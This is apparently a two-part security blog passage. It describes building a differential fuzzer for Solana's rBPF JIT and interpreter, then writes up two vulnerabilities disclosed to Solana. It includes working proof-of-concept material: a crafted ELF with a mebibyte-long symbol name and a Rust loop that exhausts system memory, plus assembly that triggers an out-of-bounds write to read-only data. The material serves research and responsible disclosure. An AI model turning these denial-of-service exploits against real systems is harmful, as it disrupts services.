  947|    191|                ebpf::DIV64_IMM  => reg[dst] /= insn.imm as u64,
  948|       |                ebpf::DIV64_REG  => {
  949|      5|                    if reg[src] == 0 {
  950|      3|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  951|      2|                    }
  952|      2|                                    reg[dst] /= reg[src];
  953|       |                },
  954|       |                ebpf::SDIV64_IMM  => {
  955|      0|                    if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
  956|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  957|      0|                    }
  958|      0|
  959|      0|                    reg[dst] = (reg[dst] as i64 / insn.imm) as u64
  960|       |                }
  961|       |                ebpf::SDIV64_REG  => {
  962|      0|                    if reg[src] == 0 {
  963|      0|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  964|      0|                    }
  965|      0|                    if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
  966|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  967|      0|                    }
  968|      0|                    reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
  969|       |                },
  970|    115|                ebpf::OR64_IMM   => reg[dst] |=  insn.imm as u64,
  971|     19|                ebpf::OR64_REG   => reg[dst] |=  reg[src],
  972|     93|                ebpf::AND64_IMM  => reg[dst] &=  insn.imm as u64,
  973|     19|                ebpf::AND64_REG  => reg[dst] &=  reg[src],
  974|     19|                ebpf::LSH64_IMM  => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
  975|     48|                ebpf::LSH64_REG  => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
  976|      4|                ebpf::RSH64_IMM  => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
  977|      5|                ebpf::RSH64_REG  => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
  978|     94|                ebpf::NEG64      => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
  979|    141|                ebpf::MOD64_IMM  => reg[dst] %= insn.imm  as u64,
  980|       |                ebpf::MOD64_REG  => {
  981|     19|                    if reg[src] == 0 {
  982|      4|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  983|     15|                    }
  984|     15|                                    reg[dst] %= reg[src];
  985|       |                },
  986|     98|                ebpf::XOR64_IMM  => reg[dst] ^= insn.imm as u64,
  987|     17|                ebpf::XOR64_REG  => reg[dst] ^= reg[src],
  988|     89|                ebpf::MOV64_IMM  => reg[dst] =  insn.imm as u64,
  989|     10|                ebpf::MOV64_REG  => reg[dst] =  reg[src],
  990|     14|                ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
  991|    294|                ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
  992|       |
  993|       |                // BPF_JMP class
  994|   327k|                ebpf::JA         =>                                          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
  995|    116|                ebpf::JEQ_IMM    => if  reg[dst] == insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^76                                                           ^40
  996|   131k|                ebpf::JEQ_REG    => if  reg[dst] == reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^11
  997|   163k|                ebpf::JGT_IMM    => if  reg[dst] >  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^147k                                                         ^16.4k
  998|   131k|                ebpf::JGT_REG    => if  reg[dst] >  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^34
  999|  65.5k|                ebpf::JGE_IMM    => if  reg[dst] >= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^8
 1000|  65.5k|                ebpf::JGE_REG    => if  reg[dst] >= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^11
 1001|  65.5k|                ebpf::JLT_IMM    => if  reg[dst] <  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^3
 1002|      6|                ebpf::JLT_REG    => if  reg[dst] <  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^4                                                            ^2
 1003|   131k|                ebpf::JLE_IMM    => if  reg[dst] <= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^2
 1004|  65.5k|                ebpf::JLE_REG    => if  reg[dst] <= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^2
 1005|      3|                ebpf::JSET_IMM   => if  reg[dst] &  insn.imm as u64 != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1                                                            ^2
 1006|      2|                ebpf::JSET_REG   => if  reg[dst] &  reg[src]        != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1007|   196k|                ebpf::JNE_IMM    => if  reg[dst] != insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^196k                                                         ^3
 1008|   131k|                ebpf::JNE_REG    => if  reg[dst] != reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^3
 1009|  65.5k|                ebpf::JSGT_IMM   => if  reg[dst] as i64 >   insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^6
 1010|     14|                ebpf::JSGT_REG   => if  reg[dst] as i64 >   reg[src]  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1                                                            ^13
 1011|  65.5k|                ebpf::JSGE_IMM   => if  reg[dst] as i64 >=  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^12
 1012|  65.5k|                ebpf::JSGE_REG   => if  reg[dst] as i64 >=  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^4
 1013|   131k|                ebpf::JSLT_IMM   => if (reg[dst] as i64) <  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^20
 1014|   147k|                ebpf::JSLT_REG   => if (reg[dst] as i64) <  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^147k                                                         ^23
 1015|  65.5k|                ebpf::JSLE_IMM   => if (reg[dst] as i64) <= insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^4
 1016|   131k|                ebpf::JSLE_REG   => if (reg[dst] as i64) <= reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^2
 1017|       |
 1018|       |                ebpf::CALL_REG   => {
 1019|      0|                    let target_address = reg[insn.imm as usize];
 1020|      0|                    reg[ebpf::FRAME_PTR_REG] =
 1021|      0|                        self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1022|      0|                    if target_address < self.program_vm_addr {
 1023|      0|                        return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
 1024|      0|                    }
 1025|      0|                    next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
 1026|       |                },
 1027|       |
 1028|       |                // Do not delegate the check to the verifier, since registered functions can be
 1029|       |                // changed after the program has been verified.
 1030|       |                ebpf::CALL_IMM => {
 1031|     17|                    let mut resolved = false;
 1032|     17|                    let (syscalls, calls) = if config.static_syscalls {
 1033|     17|                        (insn.src == 0, insn.src != 0)
 1034|       |                    } else {
 1035|      0|                        (true, true)
 1036|       |                    };
 1037|       |
 1038|     17|                    if syscalls {
 1039|      6|                        if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
                                                  ^0
 1040|      0|                            resolved = true;
 1041|      0|
 1042|      0|                            if config.enable_instruction_meter {
 1043|      0|                                let _ = instruction_meter.consume(*last_insn_count);
 1044|      0|                            }
 1045|      0|                            *last_insn_count = 0;
 1046|      0|                            let mut result: ProgramResult<E> = Ok(0);
 1047|      0|                            (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
 1048|      0|                                self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
 1049|      0|                                reg[1],
 1050|      0|                                reg[2],
 1051|      0|                                reg[3],
 1052|      0|                                reg[4],
 1053|      0|                                reg[5],
 1054|      0|                                &self.memory_mapping,
 1055|      0|                                &mut result,
 1056|      0|                            );
 1057|      0|                            reg[0] = result?;
 1058|      0|                            if config.enable_instruction_meter {
 1059|      0|                                remaining_insn_count = instruction_meter.get_remaining();
 1060|      0|                            }
 1061|      6|                        }
 1062|     11|                    }
 1063|       |
 1064|     17|                    if calls {
 1065|     11|                        if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
                                                  ^0
 1066|      0|                            resolved = true;
 1067|       |
 1068|       |                            // make BPF to BPF call
 1069|      0|                            reg[ebpf::FRAME_PTR_REG] =
 1070|      0|                                self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1071|      0|                            next_pc = self.check_pc(pc, target_pc)?;
 1072|     11|                        }
 1073|      6|                    }
 1074|       |
 1075|     17|                    if !resolved {
 1076|     17|                        if config.disable_unresolved_symbols_at_runtime {
 1077|      6|                            return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
 1078|       |                        } else {
 1079|     11|                            self.executable.report_unresolved_symbol(pc)?;
 1080|       |                        }
 1081|      0|                    }
 1082|       |                }
 1083|       |
 1084|       |                ebpf::EXIT => {
 1085|     39|                    match self.stack.pop::<E>() {
 1086|      0|                        Ok((saved_reg, frame_ptr, ptr)) => {
 1087|      0|                            // Return from BPF to BPF call
 1088|      0|                            reg[ebpf::FIRST_SCRATCH_REG
 1089|      0|                                ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
 1090|      0|                                .copy_from_slice(&saved_reg);
 1091|      0|                            reg[ebpf::FRAME_PTR_REG] = frame_ptr;
 1092|      0|                            next_pc = self.check_pc(pc, ptr)?;
 1093|       |                        }
 1094|       |                        _ => {
 1095|     39|                            return Ok(reg[0]);
 1096|       |                        }
 1097|       |                    }
 1098|       |                }
 1099|      0|                _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
 1100|       |            }
 1101|       |
 1102|  2.16M|            if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
 1103|       |                // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
 1104|     33|                return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
 1105|  2.16M|            }
 1106|       |        }
 1107|       |
 1108|    683|        Err(EbpfError::ExecutionOverrun(
 1109|    683|            next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
 1110|    683|        ))
 1111|    886|    }

Now we see that jump and call instructions are actually used, and that we execute the content of the interpreter loop significantly more despite having approximately the same amount of successful calls to the interpreter function. From this, we can infer that not only are more programs successfully executed, but also that, of those executed, they tend to have more valid instructions executed overall.

While this isn’t hitting every branch, it’s now hitting significantly more – and with much more interesting values.

The development of this version of the fuzzer took about an hour, so we’re at a total of one hour of development.

JIT and differential fuzzing

Now that we have a fuzzer which can generate lots of inputs that are actually interesting to us, we can develop a fuzzer which can test both JIT and the interpreter against each other. But how do we even test them against each other?

Picking inputs, outputs, and configuration

As the definition of pseudo-oracle says: we need to check if the alternate program (for JIT, the interpreter, and vice versa), when provided with the same “input” provides the same “output”. So what inputs and outputs do we have?

For inputs, there are three notable things we’ll want to vary:

  • The config which determines how the VM should execute (what features and such)
  • The BPF program to be executed, which we’ll generate like we do in “smart”
  • The initial memory of the VMs

Once we’ve developed our inputs, we’ll also need to think of our outputs:

  • The “return state”, the exit code itself or the error state
  • The number of instructions executed (e.g., did the JIT program overrun?)
  • The final memory of the VMs

Then, to execute both JIT and the interpreter, we’ll take the following steps:

  • The same steps as the first fuzzers:
    • Use the rBPF verification pass (called “check”) to make sure that the VM will accept the input program
    • Initialise the memory, the syscalls, and the entrypoint
    • Create the executable data
  • Then prepare to perform the differential testing
    • JIT compile the BPF code (if it fails, fail quietly)
    • Initialise the interpreted VM
    • Initialise the JIT VM
    • Execute both the interpreted and JIT VMs
    • Compare return state, instructions executed, and final memory, and panic if any do not match.

Writing the fuzzer

As before, I’ve split this up into more manageable chunks so you can read them one at a time outside of their context before trying to interpret their final context.

Step 1: Defining our inputs
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    ... snip ...
    prog: FuzzProgram,
    mem: Vec<u8>,
}
Step 2: Setting up the VM
fuzz_target!(|data: FuzzData| {
    let mut prog = make_program(&data.prog, Arch::X64);
    ... snip ...
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut interp_mem = data.mem.clone();
    let mut jit_mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
        let mut interp_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
                .unwrap();
        let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
        let mut jit_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
                .unwrap();

        // See step 3
    }
});
Step 3: Executing our input and comparing output
fuzz_target!(|data: FuzzData| {
    // see step 2

    if Executable::jit_compile(&mut executable).is_ok() {
        // see step 2

        let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
        let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
        let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
        if interp_res != jit_res {
            panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
        }
        if interp_res.is_ok() {
            // we know jit res must be ok if interp res is by this point
            if interp_meter.remaining != jit_meter.remaining {
                panic!(
                    "Expected {} insts remaining, but got {}",
                    interp_meter.remaining, jit_meter.remaining
                );
            }
            if interp_mem != jit_mem {
                panic!(
                    "Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
                    interp_mem, jit_mem
                );
            }
        }
    }
});
Step 4: Put it together

Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.

#![no_main]

use std::collections::BTreeMap;

use libfuzzer_sys::fuzz_target;

use grammar_aware::*;
use solana_rbpf::{
    elf::{register_bpf_function, Executable},
    insn_builder::{Arch, Instruction, IntoBytes},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;
mod grammar_aware;

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    exit_dst: u8,
    exit_src: u8,
    exit_off: i16,
    exit_imm: i64,
    prog: FuzzProgram,
    mem: Vec<u8>,
}

fuzz_target!(|data: FuzzData| {
    let mut prog = make_program(&data.prog, Arch::X64);
    prog.exit()
        .set_dst(data.exit_dst)
        .set_src(data.exit_src)
        .set_off(data.exit_off)
        .set_imm(data.exit_imm)
        .push();
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut interp_mem = data.mem.clone();
    let mut jit_mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
        let mut interp_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
                .unwrap();
        let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
        let mut jit_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
                .unwrap();

        let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
        let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
        let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
        if interp_res != jit_res {
            panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
        }
        if interp_res.is_ok() {
            // we know jit res must be ok if interp res is by this point
            if interp_meter.remaining != jit_meter.remaining {
                panic!(
                    "Expected {} insts remaining, but got {}",
                    interp_meter.remaining, jit_meter.remaining
                );
            }
            if interp_mem != jit_mem {
                panic!(
                    "Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
                    interp_mem, jit_mem
                );
            }
        }
    }
});

Theoretically, an up-to-date version is available in the rBPF repo.

And, with that, we have our fuzzer! This part of the fuzzer took approximately three hours to implement (largely due to finding several issues with the fuzzer and debugging them along the way).

At this point, we were about six hours in. I turned on the fuzzer and waited:

$ cargo +nightly fuzz run smart-jit-diff --jobs 4 -- -ignore_crashes=1

And the crashes began. Two main bugs appeared:

  1. A panic when there was an error in interpreter, but not JIT, when writing to a particular address (crash in 15 minutes)
  2. A AddressSanitizer crash from a memory leak when an error occurred just after the instruction limit was past by the JIT’d program (crash in two hours)

To read the details of these bugs, continue to Part 2.

Earn $200K by fuzzing for a weekend: Part 2

By: addison
11 May 2022 at 08:00

Below are the writeups for two vulnerabilities I discovered in Solana rBPF, a self-described “Rust virtual machine and JIT compiler for eBPF programs”. These vulnerabilities were responsibly disclosed according to Solana’s Security Policy and I have permission from the engineers and from the Solana Head of Business Development to publish these vulnerabilities as shown below.

In part 1, I discussed the development of the fuzzers. Here, I will discuss the vulnerabilities as I discovered them and the process of reporting them to Solana.

Bug 1: Resource exhaustion

The first bug I reported to Solana was exceptionally tricky; it only occurs in highly specific circumstances, and the fact that the fuzzer discovered it at all is a testament to the incredible complexity of inputs a fuzzer can discover through repeated trials. The relevant crash was found in approximately two hours of fuzzer start.

Initial Investigation

The input that triggered the crash disassembles to the following assembly:

entrypoint:
  r0 = r0 + 255
  if r0 <= 8355838 goto -2
  r9 = r3 >> 3
  call -1

For whatever reason, this particular set of instructions causes a memory leak.

When executed, this program does the following steps, roughly:

  1. increase r0 (which starts at 0) by 255
  2. jump back to the previous instruction if r0 is less than or equal to 8355838
    • this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
  3. set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
  4. calls a nonexistent function
    • the nonexistent function should trigger an unknown symbol error

What stood out to me about this particular test case is how incredibly specific it was; varying the addition of 255 or 8355838 by even a small amount caused the leak to disappear. It was then I remembered the following line from my fuzzer:

let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };

remaining, here, refers to the number of instructions remaining before the program is forceably terminated. As a result, the leaking program was running out this meter at exactly the call instruction.

A faulty optimisation

There is a wall of text at line 420 of jit.rs which suitably describes an optimisation that Solana applied in order to reduce the frequency at which they need to update the instruction meter.

The short version is that they only update or check the instruction meter when they reach the end of a block or a call in order to reduce the amount of times they update and check the meter. This optimisation is totally reasonable; we don’t care if we run out of instructions at the middle of a block because the subsequent instructions are still “safe”, and if we ever hit an exit that’s the end of a block anyway. In other words, this optimisation should have no effect on the final state of the program.

The issue can be seen in the patch for the vulnerability, where the maintainer moved line 1279 to line 1275. To understand why that’s relevant, let’s walk through our execution again:

  1. increase r0 (which starts at 0) by 255
  2. jump back to the previous instruction if r0 is less than or equal to 8355838
    • this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
    • our meter updates here
  3. set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
  4. calls a nonexistent function
    • the nonexistent function should trigger an unknown symbol error, but that doesn’t happen because our meter updates here and emits a max instructions exceeded error

However, based on the original order of the instructions, what happens in the call is the following:

  1. invoke the call, which fails because the symbol is unresolved
  2. to report the unresolved symbol, we invoke that report_unresolved_symbol function, which returns the name of the symbol invoked (or “Unknown”) in a heap-allocated string
  3. the pc is updated
  4. the instruction count is validated, which overwrites the unresolved symbol error and terminates execution

Because the unresolved symbol error is merely overwritten, the value is never passed to the Rust code which invoked the JIT program. As a result, the reference to the heap-allocated String is lost and never dropped. Thus: any pointer to that heap allocation is lost and will never be freed, leading to the leak.

That being said, the leak is only seven bytes per execution of the program. Without causing a larger leak, this isn’t particularly exploitable.

Weaponisation

Let’s take a closer look at report_unresolved_symbol.

report_unresolved_symbol source
pub fn report_unresolved_symbol(&self, insn_offset: usize) -> Result<u64, EbpfError<E>> {
    let file_offset = insn_offset
        .saturating_mul(ebpf::INSN_SIZE)
        .saturating_add(self.text_section_info.offset_range.start as usize);

    let mut name = "Unknown";
    if let Ok(elf) = Elf::parse(self.elf_bytes.as_slice()) {
        for relocation in &elf.dynrels {
            match BpfRelocationType::from_x86_relocation_type(relocation.r_type) {
                Some(BpfRelocationType::R_Bpf_64_32) | Some(BpfRelocationType::R_Bpf_64_64) => {
                    if relocation.r_offset as usize == file_offset {
                        let sym = elf
                            .dynsyms
                            .get(relocation.r_sym)
                            .ok_or(ElfError::UnknownSymbol(relocation.r_sym))?;
                        name = elf
                            .dynstrtab
                            .get_at(sym.st_name)
                            .ok_or(ElfError::UnknownSymbol(sym.st_name))?;
                    }
                }
                _ => (),
            }
        }
    }
    Err(ElfError::UnresolvedSymbol(
        name.to_string(),
        file_offset
            .checked_div(ebpf::INSN_SIZE)
            .and_then(|offset| offset.checked_add(ebpf::ELF_INSN_DUMP_OFFSET))
            .unwrap_or(ebpf::ELF_INSN_DUMP_OFFSET),
        file_offset,
    )
    .into())
}

Note how the name is the string which becomes heap allocated. The value of the name is determined by a relocation lookup in the ELF, which we can actually control if we compile our own malicious ELF. Even though the fuzzer only tests the JIT operations, one of the intended ways to load a BPF program is as an ELF, so it seems like something that would certainly be in scope.

Crafting the malicious ELF

To create an unresolved relocation in BPF, it’s actually quite simple. We just need to create a function with a very, very long name that isn’t actually defined, only declared. To do so, I created two files to craft the malicious ELF:

evil.h

evil.h is far too large to post here, as it has a function name that is approximately a mebibyte long. Instead, it was generated with the following bash command.

$ echo "#define EVIL do_evil_$(printf 'a%.0s' {1..1048576})

void EVIL();
" > evil.h
evil.c
#include "evil.h"

void entrypoint() {
  asm("	goto +0\n"
      "	r0 = 0\n");
  EVIL();
}

Note that goto +0 is used here because we’ll use a specialised instruction meter that only can do two instructions.

Finally, we’ll also make a Rust program to load and execute this ELF just to make sure the maintainers are able to replicate the issue.

elf-memleak.rs

You won’t be able to use this particular example anymore as rBPF has changed a lot of its API since the time this was created. However, you can check out version v0.22.21, which this exploit was crafted for.

Note in particular the use of an instruction meter with two remaining.

use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;

use solana_rbpf::{elf::{Executable, register_bpf_function}, insn_builder::IntoBytes, vm::{Config, EbpfVm, TestInstructionMeter, SyscallRegistry}, user_error::UserError};
use solana_rbpf::insn_builder::{Arch, BpfCode, Cond, Instruction, MemSize, Source};

use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::verifier::check;

fn main() {
    let mut file = File::open("tests/elfs/evil.so").unwrap();
    let mut elf = Vec::new();
    file.read_to_end(&mut elf).unwrap();
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut syscall_registry = SyscallRegistry::default();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscall_registry).unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        for _ in 0.. {
            let mut jit_mem = [0; 65536];
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 2 };
            jit_vm.execute_program_jit(&mut jit_meter).ok();
        }
    }
}

With our malicious ELF that has a function name that’s a mebibyte long, the report_unresolved_symbol will set that name variable to the long function name. As a result, the allocated string will leak a whole mebibyte of memory per execution rather than the measly seven bytes. When performed in this loop, the entire system’s memory will be exhausted in mere moments.

Reporting

Okay, so now that we’ve crafted the exploit, we should probably report it to the vendor.

A quick Google later and we find the Solana security policy. Scrolling through, it says:

DO NOT CREATE AN ISSUE to report a security problem. Instead, please send an email to [email protected] and provide your github username so we can add you to a new draft security advisory for further discussion.

Okay, reasonable enough. Looks like they have bug bounties too!

DoS Attacks: $100,000 USD in locked SOL tokens (locked for 12 months)

Woah. I was working on rBPF out of curiosity, but it seems that there’s quite a bounty made available here.

I sent in my bug report via email on January 31st, and, within just three hours, Solana acknowledged the bug. Below is the report as submitted to Solana:

Report for bug 1 as submitted to Solana

There is a resource exhaustion vulnerability in solana_rbpf (specifically in src/jit.rs) which affects JIT-compiled eBPF programs (both ELF and insn_builder programs). An adversary with the ability to load and execute eBPF programs may be able to exhaust memory resources for the program executing solana_rbpf JIT-compiled programs.

The vulnerability is introduced by the JIT compiler’s emission of an unresolved symbol error when attempting to call an unknown hash after exceeding the instruction meter limit. The rust call emitted to Executable::report_unresolved_symbol allocates a string (“Unknown”, or the relocation symbol associated with the call) using .to_string(), which performs a heap allocation. However, because the rust call completes with an instruction meter subtraction and check, the check causes the early termination of the program with Err(ExceededMaxInstructions(_, _)). As a result, the reference to the error which contains the string is lost and thus the string is never dropped, leading to a heap memory leak.

The following eBPF program demonstrates the vulnerability:

entrypoint:
    goto +0
    r0 = 0
    call -1

where the tail call’s immediate argument represents an unknown hash (this can be compiled directly, but not disassembled) and with a instruction meter set to 2 instructions remaining.

The optimisation used in jit.rs to only update the instruction meter is triggered after the ja instruction, and subsequently the mov64 instruction does not update the instruction meter despite the fact that it should prevent further execution here. The call instruction then performs a lookup for the non-existent symbol, leading to the execution of Executable::report_unresolved_symbol which performs the allocation. The call completes and updates the instruction meter again, now emitting the ExceededMaxInstructions error instead and losing the reference to the heap-allocated string.

While the leak in this example is only 7 bytes per error emitted (as the symbol string loaded is “Unknown”), one could craft an ELF with an arbitrarily sized relocation entry pointing to the call’s offset, causing a much faster exhaustion of memory resources. Such an example is attached with source code. I was able to exhaust all memory on my machine within a few seconds by simply repeatedly jit-executing this binary. A larger relocation entry could be crafted, but I think the example provided makes the vulnerability quite clear.

Attached is a Rust file (elf-memleak.rs) which may be placed within the examples/ directory of solana_rbpf in order to test the evil.{c,h,so} provided. It is highly recommend to run this for a short period of time and cancelling it quickly, as it quickly exhausts memory resources for the operating system.

Additionally, one could theoretically trigger this behaviour in programs not loaded by the attacker by sending crafted payloads which cause this meter misbehaviour. However, this is unlikely because one would also need to submit such a payload to a target which has an unresolved symbol.

For these reasons, I propose that this bug be classified under DoS Attacks (Non-RPC).

Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k.

Bug 2: Persistent .rodata corruption

The second bug I reported was easy to find, but difficult to diagnose. While the bug occurred with high frequency, it was unclear as to what exactly what caused the bug. Past that, was it even exploitable or useful?

Initial Investigation

The input that triggered the crash disassembles to the following assembly:

entrypoint:
    or32 r9, -1
    mov32 r1, -1
    stxh [r9+0x1], r0
    exit

The crash type triggered was a difference in JIT vs interpreter exit state; JIT terminated with Ok(0), whereas interpreter terminated with:

Err(AccessViolation(31, Store, 4294967296, 2, "program"))

Spicy stuff. Looks like our JIT implementation has some form of out-of-bounds write. Let’s investigate a bit further.

The first thing of note is the access violation’s address: 4294967296. In other words, 0x100000000. Looking at the Solana documentation, we see that this address corresponds to program code. Are we writing to JIT’d code??

The answer, dear reader, is unfortunately no. As exciting as the prospect of arbitrary code execution might be, this actually refers to the BPF program code – more specifically, it refers to the read-only data present in the ELF provided. Regardless, it is writing to a immutable reference to a Vec somewhere that represents the program code, which is supposed to be read-only.

So why isn’t it?

The curse of x86

Let’s make our payload more clear and execute directly, then pop it into gdb to see exactly what code the JIT compiler is generating. I used the following program to test for OOB write:

oob-write.rs

This code likely no longer works due to changes in the API of rBPF changing in recent releases. Try it in examples/ in v0.2.22, where the vulnerability is still present.

use std::collections::BTreeMap;
use solana_rbpf::{
    elf::Executable,
    insn_builder::{
        Arch,
        BpfCode,
        Instruction,
        IntoBytes,
        MemSize,
        Source,
    },
    user_error::UserError,
    verifier::check,
    vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::InstructionMeter;

